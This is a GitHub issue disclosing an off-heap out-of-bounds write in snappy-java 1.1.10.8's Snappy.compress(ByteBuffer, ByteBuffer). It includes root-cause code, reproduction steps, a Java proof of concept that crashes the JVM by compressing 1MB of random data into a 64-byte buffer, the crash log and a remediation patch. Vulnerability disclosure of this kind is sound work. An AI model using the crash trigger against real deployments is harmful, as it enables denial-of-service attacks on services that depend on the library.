Skip to content

snappy-java through 1.1.10.8 Out-of-Bounds Write via compress #732

Description

@August829

snappy-java: Off-heap Out-of-Bounds Write in Snappy.compress(ByteBuffer, ByteBuffer)

Summary

Snappy.compress(ByteBuffer uncompressed, ByteBuffer compressed) never checks that
compressed.remaining() >= Snappy.maxCompressedLength(uncompressed.remaining()) before invoking
the native RawCompress, which writes the compressed output directly into the destination buffer
at the caller-supplied position with no capacity check on either the Java or native side. This is
the mirror-image defect of Finding #1 (Snappy.uncompress(ByteBuffer,ByteBuffer)), on the compress
path instead of the decompress path.

  • Affected product: org.xerial:snappy-java
  • Affected version: 1.1.10.8
  • Component: src/main/java/org/xerial/snappy/Snappy.java (compress(ByteBuffer, ByteBuffer), lines 137–161), src/main/java/org/xerial/snappy/SnappyNative.cpp (rawCompress JNI implementation, lines 66–79)
  • CWE: CWE-787 (Out-of-bounds Write)
  • CVSS 3.1 Score: 5.9 (Medium)
    Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
    Rationale: scored lower than the mirror decompress-side finding (Create an index to allow parallel compression and decompression #1) because the size an attacker influences here is the size of the input being compressed — typically the application's own data being prepared for transport/storage — a less direct attacker-control path than a fully attacker-crafted compressed blob with an arbitrary declared decompressed length. Still exploitable whenever an application compresses attacker-influenced data (e.g., forwarding/re-compressing user-supplied content) into a fixed-size destination buffer.

Root Cause Analysis

// src/main/java/org/xerial/snappy/Snappy.java:137-161 (vulnerable)
public static int compress(ByteBuffer uncompressed, ByteBuffer compressed)
        throws IOException
{
    if (!uncompressed.isDirect()) { ... }
    if (!compressed.isDirect()) { ... }

    int uPos = uncompressed.position();
    int uLen = uncompressed.remaining();
    int cPos = compressed.position();
    // No check that compressed.remaining() >= maxCompressedLength(uLen)
    int compressedSize = impl.rawCompress(uncompressed, uPos, uLen, compressed, cPos);
    ((Buffer) compressed).limit(cPos + compressedSize);
    return compressedSize;
}

Source → Sink chain: the source data is the content of uncompressed (the application's own
payload, potentially containing attacker-influenced bytes forwarded/re-compressed by the
application). Its size (uLen) determines maxCompressedLength(uLen), the worst-case compressed
output size — but this value is never compared against compressed.remaining() before the native
RawCompress call writes its output. The native sink (SnappyNative.cpp:66-79) writes the
compressed bytes unconditionally at compressed's buffer address + position, with no destination
capacity parameter to check against.

Reproduction Environment

Same as Finding #1: macOS Darwin 25.6.0 arm64, OpenJDK Zulu 25.28+85-CA, snappy-java 1.1.10.8 built
from source using the unmodified, prebuilt libsnappyjava.dylib shipped for Mac/aarch64.

Reproduction Steps

  1. Build the project's Java sources with javac, placing the unmodified, prebuilt native library
    resources on the classpath (no source modification of any kind).
  2. Generate 1MB of random (incompressible) data — this guarantees its worst-case compressed size,
    Snappy.maxCompressedLength(uncompressed.remaining()), is far larger than any small destination
    buffer, without needing any adversarial crafting of the input bytes.
  3. Copy that data into a direct ByteBuffer (src) to satisfy the API's isDirect() requirement.
  4. Allocate an undersized destination direct ByteBuffer (undersizedDest, 64 bytes) — representing
    a fixed-size buffer-pool entry sized for a typical/expected payload rather than derived from
    maxCompressedLength() first, a realistic zero-copy/buffer-reuse pattern.
  5. Call Snappy.compress(src, undersizedDest) directly, with no isValidCompressedBuffer-style
    guard available on this path (none exists for compress) and no capacity check performed by the
    library itself.
  6. Observe the JVM process outcome rather than a catchable Java exception.

Proof of Concept

import org.xerial.snappy.Snappy;
import java.nio.ByteBuffer;

public class Finding02_CompressOob {
    public static void main(String[] args) throws Exception {
        byte[] incompressible = new byte[1024 * 1024];
        new java.util.Random(42).nextBytes(incompressible); // random data compresses poorly / expands

        ByteBuffer src = ByteBuffer.allocateDirect(incompressible.length);
        src.put(incompressible);
        src.flip();

        ByteBuffer undersizedDest = ByteBuffer.allocateDirect(64);

        System.out.println("src remaining=" + src.remaining() + " maxCompressedLength=" + Snappy.maxCompressedLength(src.remaining()));
        System.out.println("dest capacity=" + undersizedDest.capacity());
        System.out.println("calling Snappy.compress() with 1MB random input into a 64-byte direct buffer...");
        int n = Snappy.compress(src, undersizedDest);
        System.out.println("UNEXPECTED: returned normally, n=" + n);
    }
}

Observed Result

src remaining=1048576 maxCompressedLength=1223370
dest capacity=64
calling Snappy.compress() with 1MB random input into a 64-byte direct buffer...
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x000000010b4b3aa0, pid=85532, tid=27907
#
# JRE version: OpenJDK Runtime Environment Zulu25.28+85-CA (25.0+36) (build 25+36-LTS)
# Java VM: OpenJDK 64-Bit Server VM Zulu25.28+85-CA (25+36-LTS, mixed mode, sharing, tiered, compressed oops, compressed class ptrs, g1 gc, bsd-aarch64)
# Problematic frame:
# V  [libjvm.dylib+0x84faa0]  InlineMatcher::match(methodHandle const&, int)+0x58

Exit code: 134. Note the crash surfaced inside the JIT compiler's own internal data structures
(InlineMatcher) rather than directly inside a memcpy frame as in Finding #1 — the classic
signature of heap-metadata corruption from an off-heap overwrite manifesting asynchronously in an
unrelated thread, rather than a contained, immediately-local segfault. This is consistent with
memory corruption of the native/off-heap allocator's bookkeeping structures, not merely a clean
single-object overrun.

Impact

Any application that compresses attacker-influenced or attacker-forwarded data into a fixed-size
destination buffer using this zero-copy overload can be driven to crash the JVM process — denial
of service — with data sized only slightly beyond the destination's capacity.

Remediation

int requiredCapacity = maxCompressedLength(uLen);
if (compressed.remaining() < requiredCapacity) {
    throw new IllegalArgumentException("not enough space for output: need " + requiredCapacity
            + " bytes, but only " + compressed.remaining() + " remaining");
}

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions